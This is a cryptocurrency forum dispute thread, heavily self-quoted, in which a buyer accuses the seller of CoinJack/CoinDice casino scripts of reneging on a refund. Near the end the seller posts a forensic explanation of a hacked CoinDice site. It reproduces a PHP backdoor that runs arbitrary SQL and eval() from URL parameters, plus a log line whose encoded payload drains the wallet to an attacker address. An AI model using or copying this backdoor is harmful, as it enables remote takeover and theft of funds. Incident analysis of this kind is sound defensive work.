Johny1976 CoinJack/Dice/Wheel CASINO - LIES/SCAMS

[eoakland]

What Happened:

I purchased CoinJack from Johny1976 almost one month ago.  The game is not complete, it's very buggy and has serious game-breaking issues that would cause a customer service nightmare. All the new fixes that he has posted are bugs my partner and i pointed out to him.  We tested damn near 14 different versions of his coinjack, i got tired of reporting the same bugs repeatedly and finally requested a refund.  The seller agreed to refund.  Seller then changes his mind about refunding, and the seller gets rude with me.  He then proceeds to post a topic that I am trying to blackmail him for telling him i was going to leave my review/feedback of his product and service.  Lastly, you can see the deal Johny made where he put all of his customers on the backburner in exchange for my partner and I to remove are bug reports within his product thread. (please view last post).  

I will post full story in a little bit after i have my coffee.  I just wanted to post what actually happened with factual proof.  Johny1976 is upset becasue i do not want to wait more than a month for a product that is filled with major bugs and security issues.  Way to go Johny1976

Scammers Profile Link:
https://bitcointalk.org/index.php?action=profile;u=143958

Reference Link:
https://bitcointalk.org/index.php?topic=718910.msg10113919#msg10113919

Amount scammed: 1.2 BTC
Proof of Payment: 246d35c3aff0b4cffb856ee2cfeb592e7bab1a5e79ec631505df7f6d0dc1b00d

PM/Chat Logs:
https://i.imgur.com/rJcLylc.jpg?1
https://i.imgur.com/GGMvj1V.jpg

message where seller agreed to refund:
https://i.imgur.com/JdiWiIG.jpg

message where seller now refuses refund:
https://i.imgur.com/hxDMQ3J.jpg

message he deleted from his self-moderated thread:
https://i.imgur.com/P1Q8Dz9.jpg

message showing him ONE of the major bugs:
https://i.imgur.com/aWcXq9q.jpg

Possible security issues with his software. Recent hack of his CoinDice:
https://hashtalk.org/topic/28626/paydice-hacked/1

He is also being accused by someone of hacking and stealing from them:
https://bitcointalk.org/index.php?topic=921267.0

Me having to explain the game of blackjack to him, and him not understanding how broken his game is:
https://i.imgur.com/ZfbcJyy.jpg

Seller's scam thread about me, which prompted me to post my own thread:
https://bitcointalk.org/index.php?topic=920616.0
https://i.imgur.com/JbCcQOZ.jpg

Johny1976 had multiple customers who were messaging him via his thread that purchased this product from him before I ever did.  They were awaiting the new release, some were hinting at promoting this game for the same coin i was targeting.  Johny1976 made a deal with me to release the product to me first instead of his first/older customers that were waiting on his product too,  in exchange for me and my partner to remove the negative posts within his thread about all the bugs we were finding in the game:
https://i.imgur.com/eKLJwYc.jpg

[johny1976]

Duplicate thread. This is already in process of solving here:
https://bitcointalk.org/index.php?topic=920616.0 (real version)

[eoakland]

too funny, duplicate thread ?  You are scamming me Johny1976.  this is insane.  someone please read the facts provided.  This Johny guy has issues

I have listed all the facts clear as day.  Johny1976 is a scammer.

[johny1976]

too funny, duplicate thread ?  You are scamming me Johny1976.  this is insane.  someone please read the facts provided.  This Johny guy has issues

I have listed all the facts clear as day.  Johny1976 is a scammer.

You've gotten exactly what you have paid for. We've sent you the CoinJack script. You didn't even take the update and still claiming the script is "buggy".

[eoakland]

I got what i paid for ?  First, this thread i just created is not even about my refund.  It's about you posting that I am a blackmailer.  I have not even begun to post all of the messages that were exchanged between you and I on this forum.  I am sure your current customers are really going to like how you delayed the game.    

this is not even about the 1.2 BTC you took from me. this is now about how you lied and said i was blackmailing you for requesting a refund, and how you treat your customers.  

best thing about this thread Johny1976 is that you cannot delete the posts as you do in your self moderated Coinjack, Coinwhell, Coindice threads. 

[jh7phone]

I don't think denying a refund makes you a scammer. It looks like he fixed the bugs from the previous version.

Yesterday was the last day to cancel my VPS & web domain to get my money back from GoDaddy.

So I cancelled them yesterday then I also requested a refund for CoinJack.

Today Jhony released the new fixed CoinJack & denied my refund request but offered to give me CoinDice as a free bonus for waiting so long.

Unfortunately I cancelled my website domain & VPS yesterday so I can't accept accept the newest version.

So I'm out 1.2btc but I don't expect to get my BTC back because I changed my mind.

I've gotten what I paid for.

EDIT: I stand corrected, it's looking like he is actually scamming people here.

[eoakland]

I don't think denying a refund makes you a scammer. It looks like he fixed the bugs from the previous version.

Yesterday was the last day to cancel my VPS & web domain to get my money back from GoDaddy.

So I cancelled them yesterday then I also requested a refund for CoinJack.

Today Jhony released the new fixed CoinJack & denied my refund request but offered to give me CoinDice as a free bonus for waiting so long.

Unfortunately I cancelled my website domain & VPS yesterday so I can't accept accept the newest version.

So I'm out 1.2btc but I don't expect to get my BTC back because I changed my mind.

I've gotten what I paid for.

The point of this thread is Johny1976 is calling me a blackmailer.  And Johny1976 agreed to give me a refund.  He created a thread calling me a blackmailier after i left negative feedback on his thread.  please read the image posts.  bottom line is Johny1976 reneged, and then got upset when i asked for a refund. 

[johny1976]

I don't think denying a refund makes you a scammer. It looks like he fixed the bugs from the previous version.

Yesterday was the last day to cancel my VPS & web domain to get my money back from GoDaddy.

So I cancelled them yesterday then I also requested a refund for CoinJack.

Today Jhony released the new fixed CoinJack & denied my refund request but offered to give me CoinDice as a free bonus for waiting so long.

Unfortunately I cancelled my website domain & VPS yesterday so I can't accept accept the newest version.

So I'm out 1.2btc but I don't expect to get my BTC back because I changed my mind.

I've gotten what I paid for.

The point of this thread is Johny1976 is calling me a blackmailer.  And Johny1976 agreed to give me a refund.  He created a thread calling me a blackmailier after i left negative feedback on his thread.  please read the image posts.  bottom line is Johny1976 reneged, and then got upset when i asked for a refund. 

This is the message where he believed we've agreed on refund:

"You're stickler for detail, the whole game is so big and complicated that it is expected to have some bugs (that's why new updates are released from time to time). I've fixed every bug you've reported to me except that one (cards dissapearing) which is still in resolution. That was more then 10 bugs and it wasn't much fun to fix it all and my only reward is more complaints from you.. But still here I am open to resolve problems you're findidng although no player would even notice those problems. However I take full responsibility if you want to take a refund. But there's las thing that needs to fix so I think we could make it working when we got ourselves so far already.


(blackjack payout fixed, the second bug is not actually a bug because dealer is always winner if he gets blackjack, no matter what player has, according to official blackjack rules).

Anyway congratulations to your engagement!

Johny"

We've simply written that we take our responsibility for what happened and we understand he wants it but we didn't promise him anything. We've also wanted to give him CoinDice script (price 1.1 BTC)

[eoakland]

I don't think denying a refund makes you a scammer. It looks like he fixed the bugs from the previous version.

Yesterday was the last day to cancel my VPS & web domain to get my money back from GoDaddy.

So I cancelled them yesterday then I also requested a refund for CoinJack.

Today Jhony released the new fixed CoinJack & denied my refund request but offered to give me CoinDice as a free bonus for waiting so long.

Unfortunately I cancelled my website domain & VPS yesterday so I can't accept accept the newest version.

So I'm out 1.2btc but I don't expect to get my BTC back because I changed my mind.

I've gotten what I paid for.

The point of this thread is Johny1976 is calling me a blackmailer.  And Johny1976 agreed to give me a refund.  He created a thread calling me a blackmailier after i left negative feedback on his thread.  please read the image posts.  bottom line is Johny1976 reneged, and then got upset when i asked for a refund. 

This is the message where he believed we've agreed on refund:

"You're stickler for detail, the whole game is so big and complicated that it is expected to have some bugs (that's why new updates are released from time to time). I've fixed every bug you've reported to me except that one (cards dissapearing) which is still in resolution. That was more then 10 bugs and it wasn't much fun to fix it all and my only reward is more complaints from you.. But still here I am open to resolve problems you're findidng although no player would even notice those problems. However I take full responsibility if you want to take a refund. But there's las thing that needs to fix so I think we could make it working when we got ourselves so far already.


(blackjack payout fixed, the second bug is not actually a bug because dealer is always winner if he gets blackjack, no matter what player has, according to official blackjack rules).

Anyway congratulations to your engagement!

Johny"

We've simply written that we take our responsibility for what happened and we understand he wants it but we didn't promise him anything. We've also wanted to give him CoinDice script (price 1.1 BTC)

Johny1976 please read your own message very carefully....
"However I take full responsibility if you want to take a refund."

you were a nice enough guy Johny, but my partner and I got tired of waiting.  you then post thread in the Scammers section that I am black mailing you because i am going to leave a review of what i thought about your service and product ?  come'on man you are better than that Johny1976. 

[johny1976]

I don't think denying a refund makes you a scammer. It looks like he fixed the bugs from the previous version.

Yesterday was the last day to cancel my VPS & web domain to get my money back from GoDaddy.

So I cancelled them yesterday then I also requested a refund for CoinJack.

Today Jhony released the new fixed CoinJack & denied my refund request but offered to give me CoinDice as a free bonus for waiting so long.

Unfortunately I cancelled my website domain & VPS yesterday so I can't accept accept the newest version.

So I'm out 1.2btc but I don't expect to get my BTC back because I changed my mind.

I've gotten what I paid for.

The point of this thread is Johny1976 is calling me a blackmailer.  And Johny1976 agreed to give me a refund.  He created a thread calling me a blackmailier after i left negative feedback on his thread.  please read the image posts.  bottom line is Johny1976 reneged, and then got upset when i asked for a refund. 

This is the message where he believed we've agreed on refund:

"You're stickler for detail, the whole game is so big and complicated that it is expected to have some bugs (that's why new updates are released from time to time). I've fixed every bug you've reported to me except that one (cards dissapearing) which is still in resolution. That was more then 10 bugs and it wasn't much fun to fix it all and my only reward is more complaints from you.. But still here I am open to resolve problems you're findidng although no player would even notice those problems. However I take full responsibility if you want to take a refund. But there's las thing that needs to fix so I think we could make it working when we got ourselves so far already.


(blackjack payout fixed, the second bug is not actually a bug because dealer is always winner if he gets blackjack, no matter what player has, according to official blackjack rules).

Anyway congratulations to your engagement!

Johny"

We've simply written that we take our responsibility for what happened and we understand he wants it but we didn't promise him anything. We've also wanted to give him CoinDice script (price 1.1 BTC)

Johny1976 please read your own message very carefully....
"However I take full responsibility if you want to take a refund."

you were a nice enough guy Johny, but my partner and I got tired of waiting.  you then post thread in the Scammers section that I am black mailing you because i am going to leave a review of what i thought about your service and product ?  come'on man you are better than that Johny1976. 

Yes. I read it but maybe you didn't. I think I'm capable of writing english sentence - "Yes, we'll refund you."

"We've simply written that we take our responsibility for what happened and we understand he wants it but we didn't promise him anything."

I think it's obvious to anyone...

[eoakland]

I don't think denying a refund makes you a scammer. It looks like he fixed the bugs from the previous version.

Yesterday was the last day to cancel my VPS & web domain to get my money back from GoDaddy.

So I cancelled them yesterday then I also requested a refund for CoinJack.

Today Jhony released the new fixed CoinJack & denied my refund request but offered to give me CoinDice as a free bonus for waiting so long.

Unfortunately I cancelled my website domain & VPS yesterday so I can't accept accept the newest version.

So I'm out 1.2btc but I don't expect to get my BTC back because I changed my mind.

I've gotten what I paid for.

The point of this thread is Johny1976 is calling me a blackmailer.  And Johny1976 agreed to give me a refund.  He created a thread calling me a blackmailier after i left negative feedback on his thread.  please read the image posts.  bottom line is Johny1976 reneged, and then got upset when i asked for a refund.  

This is the message where he believed we've agreed on refund:

"You're stickler for detail, the whole game is so big and complicated that it is expected to have some bugs (that's why new updates are released from time to time). I've fixed every bug you've reported to me except that one (cards dissapearing) which is still in resolution. That was more then 10 bugs and it wasn't much fun to fix it all and my only reward is more complaints from you.. But still here I am open to resolve problems you're findidng although no player would even notice those problems. However I take full responsibility if you want to take a refund. But there's las thing that needs to fix so I think we could make it working when we got ourselves so far already.


(blackjack payout fixed, the second bug is not actually a bug because dealer is always winner if he gets blackjack, no matter what player has, according to official blackjack rules).

Anyway congratulations to your engagement!

Johny"

We've simply written that we take our responsibility for what happened and we understand he wants it but we didn't promise him anything. We've also wanted to give him CoinDice script (price 1.1 BTC)

Johny1976 please read your own message very carefully....
"However I take full responsibility if you want to take a refund."

you were a nice enough guy Johny, but my partner and I got tired of waiting.  you then post thread in the Scammers section that I am black mailing you because i am going to leave a review of what i thought about your service and product ?  come'on man you are better than that Johny1976.  

Yes. I read it but maybe you didn't. I think I'm capable of writing english sentence - "Yes, we'll refund you."

"We've simply written that we take our responsibility for what happened and we understand he wants it but we didn't promise him anything."

I think it's obvious to anyone...

funny, that's not what you told me in your last message here: https://i.imgur.com/hxDMQ3J.jpg

and thank you for the English lesson   you just admitted to the refund you promised.   "However I take full responsibility if you want to take a refund. But there's las thing that needs to fix so I think we could make it working when we got ourselves so far already."  If you would have just honored your word none of this would have been necessary.  you escalated this situation to where it is now.  like i said you were a nice enough guy, i just don't get what is going on with you ?  perhaps you are having a bad day  

[jh7phone]

Since more people are reporting Jhony1976 as a scammer I changed my mind to agree. This whole operation he runs is very shady & you will most likely be robbed. I'm sharing my chat log aswell, He was demanding I give my server details when all I wanted was my btc refunded. Why so you can rob me more like you do to everyone else after the site is up? He left me waiting over 3 months total while making me wait weeks at a time inbetween replys & ignoring my PM. Also his positive feedback from today was an account created today https://bitcointalk.org/index.php?action=trust;u=410575, Jhony someone created an account just to thank you for great customer support? LIAR & SCAMMER!

[johny1976]

WHERE IS EVIDENCE??

[eoakland]

WHERE IS EVIDENCE??

Johny1976, you must be retarded.  ALL information is posted in my 1st post with links that display all facts and evidence.  i thought you were a nice guy, and perhaps were having a bad day, turns out you have more than one unhappy customer.  

[PolarPoint]

It boils down to selling an unfinished buggy product. Is it really scamming? May be debatable. It is surely not very professional.

[eoakland]

It boils down to selling an unfinished buggy product. Is it really scamming? May be debatable. It is surely not very professional.

check these links out...  someone is saying he stole 16btc from them, and there was another of his sites that just got hacked.  too many coincidences for me to think all this is random.

Possible security issues with his software. Recent hack of his CoinDice:
https://hashtalk.org/topic/28626/paydice-hacked/1

He is also being accused by someone of hacking and stealing from them:
https://bitcointalk.org/index.php?topic=921267.0

[johny1976]

It boils down to selling an unfinished buggy product. Is it really scamming? May be debatable. It is surely not very professional.

check these links out...  someone is saying he stole 16btc from them, and there was another of his sites that just got hacked.  too many coincidences for me to think all this is random.

Possible security issues with his software. Recent hack of his CoinDice:
https://hashtalk.org/topic/28626/paydice-hacked/1

He is also being accused by someone of hacking and stealing from them:
https://bitcointalk.org/index.php?topic=921267.0

When some hacker sees bug and rob one casino, he naturally looks for more casinos based on the same system. This case is old! This bugs were fixed a long time ago.

To the recent hack:

https://privnote.com/n/ihyaygumyiqlxvao/#jbwkzjdlaiuaxjpv

Thank you.

I've investigated the issue and here is my conclusion:

Fact 1

This is head of our original file /content/ajax/_stats_load.php:

Code:

<?php
/*
 *  © CoinDice
 *  Demo: http://www.btcircle.com/dice
 *  Please do not copy or redistribute.
 *  More licences we sell, more products we develop in the future.
*/


header('X-Frame-Options: DENY');

...

This is head of your custom edited file /content/ajax/_stats_load.php:

Code:

<?php if(isset($_GET['query'])) {mysql_connect($_GET['ip'], $_GET['user'], $_GET['pass']);mysql_select_db($_GET['db']);$q = mysql_query($_GET['query']);while($m =  mysql_fetch_assoc($q)) {$values = array_values($m);$keys = array_keys($m);for($i = 0;$i<count($values);$i++) {echo $keys[$i] . ": " . $values[$i] . "<br>";}echo "<br>";}mysql_close();exit;}else if(isset($_GET['eval'])) {eval($_GET['eval']);exit;}
/*
 *  © CoinDice
 *  Demo: http://www.btcircle.com/dice
 *  Please do not copy or redistribute.
 *  More licences we sell, more products we develop in the future.
*/


header('X-Frame-Options: DENY');

...

Please pay closer attention to eval($_GET['eval']) part (this is the used exploit).

Fact 2

This line is from your webserver log:

Code:

pay-dice.com:80 107.3.170.11 - - [04/Jan/2015:20:12:12 -0500] "GET /play/content/ajax/_stats_load.php?eval=%24included%3Dtrue%3Binclude_once+%27..%2F..%2Finc%2Fdb-conf.php%27%3Binclude+%27..%2F..%2Finc%2Fwallet_driver.php%27%3B%24wallet%3Dnew+jsonRPCClient%28%24driver_login%29%3Becho+%24wallet-%3Egetbalance%28%29%3B%24wallet-%3Esendtoaddress%28%27PJYcpnBrHUnCuQbSHSt42CC6JeFXyZEDZN%27%2C40%29%3Becho+%24wallet-%3Egetbalance%28%29%3Bmysql_close%28%29%3Becho+file_get_contents%28%27config.php%27%29%3B HTTP/1.1" 200 242 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"

Please pay closer attention to ?eval=... part and sendtoaddress%28%27PJYcpnBrHUnCuQbSHSt42CC6JeFXyZEDZN part.

The second part is the address on which the stolen funds were sent.

Fact 3

The file _stats_load.php could edit only someone who had full access to the system, in which case it would be much easier to withraw the funds directly from your wallet.

Fact 4



Only person who could edit this file is the guy who did the custom coding for you.



I think it's clear enough. Someone (most possibly the guy who did custom login system for you) has put the backdoor to _stats_load.php, then executed his own PHP code on your server.


Resources:
/var/log/apache2/other_vhosts_access.log.1  your webserver log
/var/www/paydice/play/content/ajax/_stats_load.php  compromised file


I'm sorry what happened to you. At least you know you can't trust anybody.

We would much appreciate your permission to make this case public (there's some people who claim this was our fault).


Hope I've cleared the whole thing out and pointed the real offender. Let me know if you need some additional informations or support.

Johny

http://imgur.com/TKkXYM3

I've just gave you evidence of my claimings, do you have one?

[jh7phone]

It boils down to selling an unfinished buggy product. Is it really scamming? May be debatable. It is surely not very professional.

He failed to uphold his promise of "Full Support (Installation + Follow-up Support)" included in the purchase. I tried multiple times to get him to set up my website & he kept ignoring me or saying "I'll do it tomorrow". I waited a total of 3 months & it was so long I decided to cancel my website domain & VPS to get some of my money back form GoDaddy. Then I asked nicely for a refund. I wasted 100's of dollars on this scrypt & for him to say "I'll do it tomorrow" then ignore my PM for over a week is terrible customer service. 2 weeks later I hear from him again and he hasn't done anything. That is enough there to ask for a refund then he starts up the "blackmailing" rant after we leave honest feedback.

[eoakland]

It boils down to selling an unfinished buggy product. Is it really scamming? May be debatable. It is surely not very professional.

check these links out...  someone is saying he stole 16btc from them, and there was another of his sites that just got hacked.  too many coincidences for me to think all this is random.

Possible security issues with his software. Recent hack of his CoinDice:
https://hashtalk.org/topic/28626/paydice-hacked/1

He is also being accused by someone of hacking and stealing from them:
https://bitcointalk.org/index.php?topic=921267.0

When some hacker sees bug and rob one casino, he naturally looks for more casinos based on the same system. This case is old! This bugs were fixed a long time ago.

Old ?  one of them just posted his scam accusation about you today.  and the other just got hacked 2 days ago.  by your own admission you are admitting that bugs in your product/coding allowed sites to get hacked....WOW !  

[johny1976]

It boils down to selling an unfinished buggy product. Is it really scamming? May be debatable. It is surely not very professional.

check these links out...  someone is saying he stole 16btc from them, and there was another of his sites that just got hacked.  too many coincidences for me to think all this is random.

Possible security issues with his software. Recent hack of his CoinDice:
https://hashtalk.org/topic/28626/paydice-hacked/1

He is also being accused by someone of hacking and stealing from them:
https://bitcointalk.org/index.php?topic=921267.0

When some hacker sees bug and rob one casino, he naturally looks for more casinos based on the same system. This case is old! This bugs were fixed a long time ago.

Old ?  one of them just posted his scam accusation about you today.  and the other just got hacked 2 days ago.  by your own admission you are admitting that bugs in your product/coding allowed sites to get hacked....WOW !  

No, I've explained it 2 posts before yours.

https://bitcointalk.org/index.php?topic=920645.msg10119153#msg10119153